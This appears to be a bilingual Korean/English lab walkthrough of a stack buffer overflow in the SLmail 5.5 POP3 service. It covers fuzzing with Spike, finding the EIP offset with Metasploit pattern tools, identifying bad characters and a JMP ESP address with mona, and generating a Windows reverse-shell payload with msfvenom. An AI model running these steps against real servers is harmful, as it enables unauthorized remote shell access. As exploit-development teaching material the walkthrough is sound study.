
Seattle Lab Mail (SLmail) 5.5의 POP3 버퍼 오버플로우
Seattle Lab Mail (SLmail) 5.5 - POP3의 버퍼 오버플로우
Simple STACK BAsed BUffer Overflow Step By Step
In the very First Step we will Fuzz The Application With a Simple Spike Script
meanwhile we wil also have SLmail attached[and running] to immunity Debugger
Spike에 대한 자세한 내용: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
여기 spike_fuzz.spk라는 간단한 Spike 스크립트가 있습니다.
we will run it against the application using command
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
where 192.168.1.117 is the IP of Target Machine Running SLMail and it is Running On Port 110

한편, immunity를 확인하면 애플리케이션이 충돌한 것을 볼 수 있습니다.

Now we will create a python POC that Replicates the crash and calculates the bytes at which the application crashes
python poc_crash.py

For Finding the offset we will utilize msf
1. 먼저 패턴 생성
2. EIP 기록
3. 해당 EIP와 길이를 MSF로 질의하여 오프셋 찾기
msf-pattern_create -l 2700

poc_offset.py에서 이 패턴을 오버플로우 버퍼로 사용합니다!
python poc_offset.py

이 시점에서 immunity에서 애플리케이션이 충돌하고 중단된 EIP 값도 기록합니다.

EIP는 39694438입니다.
::오프셋 찾기::
msf-pattern_offset -l 2700 -q 39694438

오프셋은 2606입니다. 즉, EIP에 도달하기 전에 2606바이트가 있으며, EIP 자체는 4바이트입니다.
Now we will Try TO Overwrite the EIP with 4B's ie:: in immunity we should have 42424242 {Hex for 4 B's}
python poc_eip_control.py

이제 immunity를 확인하면

To keep this simple and short
poc_badchars.py 스크립트를 실행하고 직접 잘못된 문자를 찾을 수 있습니다.
For Keeping this short
이 애플리케이션에는 두 개의 잘못된 문자가 있습니다(기본 문자이기도 함). poc_badchars.py를 처음 실행하면 \x0a 문자가 문제를 일으키는 것을 볼 수 있습니다. 그런 다음 이 문자를 잘못된 문자 페이로드에서 제거하고 스크립트를 다시 실행합니다. 두 번째 실행에서는 \x0d 문자가 건너뛰는 것을 볼 수 있습니다. 이것이 두 번째 잘못된 문자이며 페이로드에서 제거합니다. 이후 세 번째 실행에서 모든 것이 깨끗하고 정상입니다!!
잘못된 문자는 :: \x00\x0a\x0d
{널 바이트, 라인 피드, 캐리지 리턴}
python poc_badchars.py
First we Find the right Module using Mona Modules in immunity
slmfc.dll이 메모리 보호 기능이 없어 가장 적합한 후보입니다!

and now we find a JMP ESP address in this DLL
This address will be written to EIP so that we can redirect the Execution of Program to ESP which will result in the Execution of our shellcode!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4는 JMP ESP의 opcode에 해당합니다}

from 19 pointer addresses we choose the First one
Now We will Put all this Together and Drop a Shell
1.) 쉘 코드 생성 {잘못된 문자 제외}
2.) 찾은 주소 추가 {리틀 엔디언 기억}
3.) 버퍼, 반환 주소, NOP 슬레드, 쉘 코드 추가
4.) 쉘 획득
msfvenom을 사용하여 빠르게 쉘 코드 생성
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

exploit.py 파일에 모든 것을 통합합니다

이번에는 immunity 없이 SLmail을 실행하고 동시에 들어오는 연결을 수신합니다
once done with This we will run the Final exploit.py script!

훌륭합니다! 쉘을 획득했습니다!